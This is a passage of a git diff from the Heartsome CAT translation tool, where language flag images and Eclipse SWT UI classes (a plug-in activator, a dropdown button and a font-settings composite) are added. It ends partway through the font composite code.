b/base_commons/net.heartsome.cat.common.ui/images/lang/ky.png new file mode 100644 index 0000000..a84ff31 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ky.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/la.png b/base_commons/net.heartsome.cat.common.ui/images/lang/la.png new file mode 100644 index 0000000..23afb8c Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/la.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/lb.png b/base_commons/net.heartsome.cat.common.ui/images/lang/lb.png new file mode 100644 index 0000000..740d393 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/lb.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/li.png b/base_commons/net.heartsome.cat.common.ui/images/lang/li.png new file mode 100644 index 0000000..7f0dca5 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/li.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/lo.png b/base_commons/net.heartsome.cat.common.ui/images/lang/lo.png new file mode 100644 index 0000000..9eea810 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/lo.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/lt.png b/base_commons/net.heartsome.cat.common.ui/images/lang/lt.png new file mode 100644 index 0000000..ede7e05 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/lt.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/lu.png b/base_commons/net.heartsome.cat.common.ui/images/lang/lu.png new file mode 100644 index 0000000..702e575 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/lu.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/lv.png b/base_commons/net.heartsome.cat.common.ui/images/lang/lv.png new file mode 100644 index 0000000..891356c Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/lv.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/mg.png b/base_commons/net.heartsome.cat.common.ui/images/lang/mg.png new file mode 100644 index 0000000..89f65c7 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/mg.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/mh.png b/base_commons/net.heartsome.cat.common.ui/images/lang/mh.png new file mode 100644 index 0000000..b7384da Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/mh.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/mk.png b/base_commons/net.heartsome.cat.common.ui/images/lang/mk.png new file mode 100644 index 0000000..436c80f Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/mk.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ml.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ml.png new file mode 100644 index 0000000..4ebee6d Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ml.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/mn.png b/base_commons/net.heartsome.cat.common.ui/images/lang/mn.png new file mode 100644 index 0000000..f3b20f8 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/mn.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/mo.png b/base_commons/net.heartsome.cat.common.ui/images/lang/mo.png new file mode 100644 index 0000000..ef15478 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/mo.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/mr.png b/base_commons/net.heartsome.cat.common.ui/images/lang/mr.png new file mode 100644 index 0000000..a0e9383 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/mr.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ms.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ms.png new file mode 100644 index 0000000..bdc6926 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ms.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/mt.png b/base_commons/net.heartsome.cat.common.ui/images/lang/mt.png new file mode 100644 index 0000000..b709ec3 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/mt.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/my.png b/base_commons/net.heartsome.cat.common.ui/images/lang/my.png new file mode 100644 index 0000000..c9438e7 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/my.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/na.png b/base_commons/net.heartsome.cat.common.ui/images/lang/na.png new file mode 100644 index 0000000..af63df3 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/na.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/nb.png b/base_commons/net.heartsome.cat.common.ui/images/lang/nb.png new file mode 100644 index 0000000..fce30b2 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/nb.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/nd.png b/base_commons/net.heartsome.cat.common.ui/images/lang/nd.png new file mode 100644 index 0000000..7d3b619 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/nd.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ne.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ne.png new file mode 100644 index 0000000..3bbd7e2 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ne.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ng.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ng.png new file mode 100644 index 0000000..9a0d679 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ng.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/nl-BE.png b/base_commons/net.heartsome.cat.common.ui/images/lang/nl-BE.png new file mode 100644 index 0000000..6296b16 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/nl-BE.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/nn.png b/base_commons/net.heartsome.cat.common.ui/images/lang/nn.png new file mode 100644 index 0000000..fce30b2 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/nn.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/no.png b/base_commons/net.heartsome.cat.common.ui/images/lang/no.png new file mode 100644 index 0000000..fce30b2 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/no.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/nr.png b/base_commons/net.heartsome.cat.common.ui/images/lang/nr.png new file mode 100644 index 0000000..cacfffb Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/nr.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/om.png b/base_commons/net.heartsome.cat.common.ui/images/lang/om.png new file mode 100644 index 0000000..0e99c93 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/om.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/pa.png b/base_commons/net.heartsome.cat.common.ui/images/lang/pa.png new file mode 100644 index 0000000..de7fc57 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/pa.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/pl.png b/base_commons/net.heartsome.cat.common.ui/images/lang/pl.png new file mode 100644 index 0000000..b4aa5f4 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/pl.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ps.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ps.png new file mode 100644 index 0000000..4b1353f Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ps.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/pt-BR.png b/base_commons/net.heartsome.cat.common.ui/images/lang/pt-BR.png new file mode 100644 index 0000000..53564b9 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/pt-BR.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/pt.png b/base_commons/net.heartsome.cat.common.ui/images/lang/pt.png new file mode 100644 index 0000000..f3d2993 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/pt.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ro.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ro.png new file mode 100644 index 0000000..0dfb0db Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ro.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ru.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ru.png new file mode 100644 index 0000000..a33f27f Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ru.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/rw.png b/base_commons/net.heartsome.cat.common.ui/images/lang/rw.png new file mode 100644 index 0000000..ef21af9 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/rw.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/sa.png b/base_commons/net.heartsome.cat.common.ui/images/lang/sa.png new file mode 100644 index 0000000..fd33ed1 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/sa.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/sc.png b/base_commons/net.heartsome.cat.common.ui/images/lang/sc.png new file mode 100644 index 0000000..845e5df Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/sc.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/sd.png b/base_commons/net.heartsome.cat.common.ui/images/lang/sd.png new file mode 100644 index 0000000..6cf5e75 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/sd.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/se.png b/base_commons/net.heartsome.cat.common.ui/images/lang/se.png new file mode 100644 index 0000000..41ccde5 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/se.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/sg.png b/base_commons/net.heartsome.cat.common.ui/images/lang/sg.png new file mode 100644 index 0000000..e8bd652 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/sg.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/si.png b/base_commons/net.heartsome.cat.common.ui/images/lang/si.png new file mode 100644 index 0000000..28ab2a4 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/si.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/sk.png b/base_commons/net.heartsome.cat.common.ui/images/lang/sk.png new file mode 100644 index 0000000..1fa79a4 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/sk.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/sl.png b/base_commons/net.heartsome.cat.common.ui/images/lang/sl.png new file mode 100644 index 0000000..cc9b5ce Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/sl.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/sm.png b/base_commons/net.heartsome.cat.common.ui/images/lang/sm.png new file mode 100644 index 0000000..52abb44 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/sm.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/sn.png b/base_commons/net.heartsome.cat.common.ui/images/lang/sn.png new file mode 100644 index 0000000..a9c63cc Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/sn.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/so.png b/base_commons/net.heartsome.cat.common.ui/images/lang/so.png new file mode 100644 index 0000000..ee6d056 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/so.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/sq.png b/base_commons/net.heartsome.cat.common.ui/images/lang/sq.png new file mode 100644 index 0000000..4bc6ba6 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/sq.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/sr.png b/base_commons/net.heartsome.cat.common.ui/images/lang/sr.png new file mode 100644 index 0000000..891edad Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/sr.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/st.png b/base_commons/net.heartsome.cat.common.ui/images/lang/st.png new file mode 100644 index 0000000..7705643 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/st.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/su.png b/base_commons/net.heartsome.cat.common.ui/images/lang/su.png new file mode 100644 index 0000000..af92613 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/su.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/sv.png b/base_commons/net.heartsome.cat.common.ui/images/lang/sv.png new file mode 100644 index 0000000..e60613a Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/sv.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/tg.png b/base_commons/net.heartsome.cat.common.ui/images/lang/tg.png new file mode 100644 index 0000000..ae79dae Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/tg.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/th.png b/base_commons/net.heartsome.cat.common.ui/images/lang/th.png new file mode 100644 index 0000000..01fdb0e Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/th.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/tk.png b/base_commons/net.heartsome.cat.common.ui/images/lang/tk.png new file mode 100644 index 0000000..f144d73 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/tk.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/tl.png b/base_commons/net.heartsome.cat.common.ui/images/lang/tl.png new file mode 100644 index 0000000..bcf4b92 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/tl.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/tn.png b/base_commons/net.heartsome.cat.common.ui/images/lang/tn.png new file mode 100644 index 0000000..5f45e56 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/tn.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/to.png b/base_commons/net.heartsome.cat.common.ui/images/lang/to.png new file mode 100644 index 0000000..cf24ec7 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/to.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/tr.png b/base_commons/net.heartsome.cat.common.ui/images/lang/tr.png new file mode 100644 index 0000000..2153143 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/tr.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/tt.png b/base_commons/net.heartsome.cat.common.ui/images/lang/tt.png new file mode 100644 index 0000000..c44269f Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/tt.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ug.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ug.png new file mode 100644 index 0000000..26505f3 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ug.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ur.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ur.png new file mode 100644 index 0000000..d90e365 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ur.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/uz.png b/base_commons/net.heartsome.cat.common.ui/images/lang/uz.png new file mode 100644 index 0000000..bcc4e10 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/uz.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ve.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ve.png new file mode 100644 index 0000000..fb66f5d Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ve.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/vi.png b/base_commons/net.heartsome.cat.common.ui/images/lang/vi.png new file mode 100644 index 0000000..70bff1c Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/vi.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/zh-CN.png b/base_commons/net.heartsome.cat.common.ui/images/lang/zh-CN.png new file mode 100644 index 0000000..73e5484 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/zh-CN.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/zh-HK.png b/base_commons/net.heartsome.cat.common.ui/images/lang/zh-HK.png new file mode 100644 index 0000000..cb23585 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/zh-HK.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/zh-SG.png b/base_commons/net.heartsome.cat.common.ui/images/lang/zh-SG.png new file mode 100644 index 0000000..42ce0d9 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/zh-SG.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/zh-TW.png b/base_commons/net.heartsome.cat.common.ui/images/lang/zh-TW.png new file mode 100644 index 0000000..f1aab36 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/zh-TW.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/zh.png b/base_commons/net.heartsome.cat.common.ui/images/lang/zh.png new file mode 100644 index 0000000..73e5484 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/zh.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/preference/system/is-bidi.png b/base_commons/net.heartsome.cat.common.ui/images/preference/system/is-bidi.png new file mode 100644 index 0000000..d61c5c7 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/preference/system/is-bidi.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/preference/system/no-pic.png b/base_commons/net.heartsome.cat.common.ui/images/preference/system/no-pic.png new file mode 100644 index 0000000..ea2ac97 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/preference/system/no-pic.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/preference/system/sys_language_code_32.png b/base_commons/net.heartsome.cat.common.ui/images/preference/system/sys_language_code_32.png new file mode 100644 index 0000000..9e92ba1 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/preference/system/sys_language_code_32.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/Activator.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/Activator.java new file mode 100644 index 0000000..fe25013 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/Activator.java @@ -0,0 +1,61 @@ +package net.heartsome.cat.common.ui; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.common.ui"; + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * Returns an image descriptor for the image file at the given plug-in relative path + * @param path + * the path + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/HSDropDownButton.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/HSDropDownButton.java new file mode 100644 index 0000000..61bf785 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/HSDropDownButton.java @@ -0,0 +1,114 @@ +/** + * HSDropDownButton.java + * + * Version information : + * + * Date:2013-4-22 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.common.ui; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.PaintEvent; +import org.eclipse.swt.events.PaintListener; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Menu; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class HSDropDownButton extends Button { + + private final static int DEFAULT_SPACES = 15; + private String EMPTY_SPACE = getSpaceByWidth(DEFAULT_SPACES); + private final static Color COLOR__BLACK = Display.getDefault().getSystemColor(SWT.COLOR_BLACK); + private Menu menu; + + public HSDropDownButton(Composite parent, int style) { + super(parent, SWT.PUSH); + setText(""); + super.addPaintListener(new PaintListener() { + + public void paintControl(PaintEvent e) { + // draw the arrow + Rectangle rect = getBounds(); + Color oldForeground = e.gc.getForeground(); + Color oldBackground = e.gc.getBackground(); + + int dx = -e.gc.getClipping().x; + int dy = -e.gc.getClipping().y; + + e.gc.setForeground(COLOR__BLACK); + e.gc.setBackground(COLOR__BLACK); + e.gc.fillPolygon(new int[] { e.x + rect.width - 15 + dx, e.y + rect.height / 2 - 1 + dy, + e.x + rect.width - 8 + dx, e.y + rect.height / 2 - 1 + dy, e.x + rect.width - 12 + dx, + e.y + rect.height / 2 + 3 + dy }); + + e.gc.setForeground(oldForeground); + e.gc.setBackground(oldBackground); + } + }); + super.addListener(SWT.MouseDown, new Listener() { + + public void handleEvent(Event event) { + Button button = (Button) event.widget; + Rectangle rect = button.getBounds(); + Point p = button.toDisplay(rect.x, rect.y + rect.height); + getMenu().setLocation(p.x - rect.x, p.y - rect.y); + getMenu().setVisible(true); + } + }); + menu = new Menu(getShell(), SWT.POP_UP); + } + + public Menu getMenu() { + return menu; + } + + public void setMenu(Menu menu) { + this.menu = menu; + } + + @Override + protected void checkSubclass() { + + } + + @Override + public void setText(String string) { + if (string != null) { + super.setText(string + EMPTY_SPACE); + } + } + + @Override + public String getText() { + return super.getText().trim(); + } + + public String getSpaceByWidth(int width) { + GC gc = new GC(Display.getDefault()); + int spaceWidth = gc.getAdvanceWidth(' '); + gc.dispose(); + int spacecount = width / spaceWidth; + StringBuilder b = new StringBuilder(); + while (spacecount-- > 0) { + b.append(" "); + } + return b.toString(); + } +} diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/HSFontSettingComposite.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/HSFontSettingComposite.java new file mode 100644 index 0000000..3f1647f --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/HSFontSettingComposite.java @@ -0,0 +1,189 @@ +/** + * HSFontSettingComposite.java + * + * Version information : + * + * Date:2013-4-7 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.common.ui; + +import java.util.Arrays; +import java.util.HashSet; +import java.util.Set; + +import net.heartsome.cat.common.ui.resource.Messages; + +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ComboViewer; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.FontData; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Label; + +/** + * 字体设置组件 + * @author Jason + * @version + * @since JDK1.6 + */ +public class HSFontSettingComposite extends Composite { + + // ç•Œé¢ç»„件 + ComboViewer fontNameComboViewer; + ComboViewer fontSizeComboViewer; + Label previewFontText; + Font previewFont; + String title; + + /** + * @param parent + * @param style + * @param title + * 此字体设计说明文字,如果为null,则ä¸åˆ›å»ºã€‚ + */ + public HSFontSettingComposite(Composite parent, int style, String title) { + super(parent, style); + GridLayout layout = new GridLayout(2, false); + layout.marginTop = 0; + layout.marginLeft = 0; + layout.marginRight = 0; + layout.marginWidth = 1; + this.title = title; + setLayout(layout); + createContent(); + } + + public FontData[] getFontSetingFont() { + return previewFont.getFontData(); + } + + public void initFont(String name, int size){ + fontNameComboViewer.setSelection(new StructuredSelection(name)); + fontSizeComboViewer.setSelection(new StructuredSelection(size)); + + FontData fd = new FontData(); + fd.setName(name); + fd.setHeight(size); + if (previewFont != null && !previewFont.isDisposed()) { + previewFont.dispose(); + } + previewFont = new Font(Display.getDefault(), fd); + previewFontText.setFont(previewFont); + } + + @Override + public void dispose() { + if (previewFont != null && !previewFont.isDisposed()) { + previewFont.dispose(); + } + super.dispose(); + } + + public void createContent() { + if (this.title != null && title.length() != 0) { + Label titleLabel = new Label(this, SWT.NONE); + titleLabel.setText(title); + GridData titleLabelGridData = new GridData(); + titleLabelGridData.horizontalSpan = 2; + titleLabelGridData.horizontalAlignment = GridData.CENTER; + titleLabel.setLayoutData(titleLabelGridData); + } + Label lblFontName = new Label(this, SWT.NONE); + lblFontName.setText(Messages.getString("HSFontSettingComposite.fontNameLabel")); + fontNameComboViewer = new ComboViewer(this); + fontNameComboViewer.setContentProvider(new ArrayContentProvider()); + Combo fontNameCombo = fontNameComboViewer.getCombo(); + GridData fnGd = new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1); + fontNameCombo.setLayoutData(fnGd); + fontNameComboViewer.setInput(getSystemFonts()); + + Label lblFontSize = new Label(this, SWT.NONE); + lblFontSize.setText(Messages.getString("HSFontSettingComposite.fontSizeLabel")); + fontSizeComboViewer = new ComboViewer(this); + fontSizeComboViewer.setContentProvider(new ArrayContentProvider()); + Combo fontSize = fontSizeComboViewer.getCombo(); + fontSize.setLayoutData(fnGd); + fontSizeComboViewer.setInput(new Integer[] { 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, + 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, }); + + Label lblFontPreview = new Label(this, SWT.None); + lblFontPreview.setText(Messages.getString("HSFontSettingComposite.fontPreViewLabel")); + + previewFontText = new Label(this, SWT.READ_ONLY | SWT.BORDER); + previewFontText.setText("abcdefg ABCDEFG"); + GridData previewFontTextGridData = new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1); + previewFontTextGridData.heightHint = 50; + previewFontText.setLayoutData(previewFontTextGridData); + + fontNameComboViewer.addSelectionChangedListener(new ISelectionChangedListener() { + + public void selectionChanged(SelectionChangedEvent event) { + String strFontName = fontNameComboViewer.getCombo().getText(); + String intFontSize = fontSizeComboViewer.getCombo().getText(); + if(strFontName == null || intFontSize == null || strFontName.length() == 0 || intFontSize.length() == 0){ + return; + } + FontData fd = JFaceResources.getDefaultFont().getFontData()[0]; + fd.setName(strFontName); + fd.setHeight(Integer.parseInt(intFontSize)); + if (previewFont != null && !previewFont.isDisposed()) { + previewFont.dispose(); + } + previewFont = new Font(Display.getDefault(), fd); + previewFontText.setFont(previewFont); + } + }); + fontSizeComboViewer.addSelectionChangedListener(new 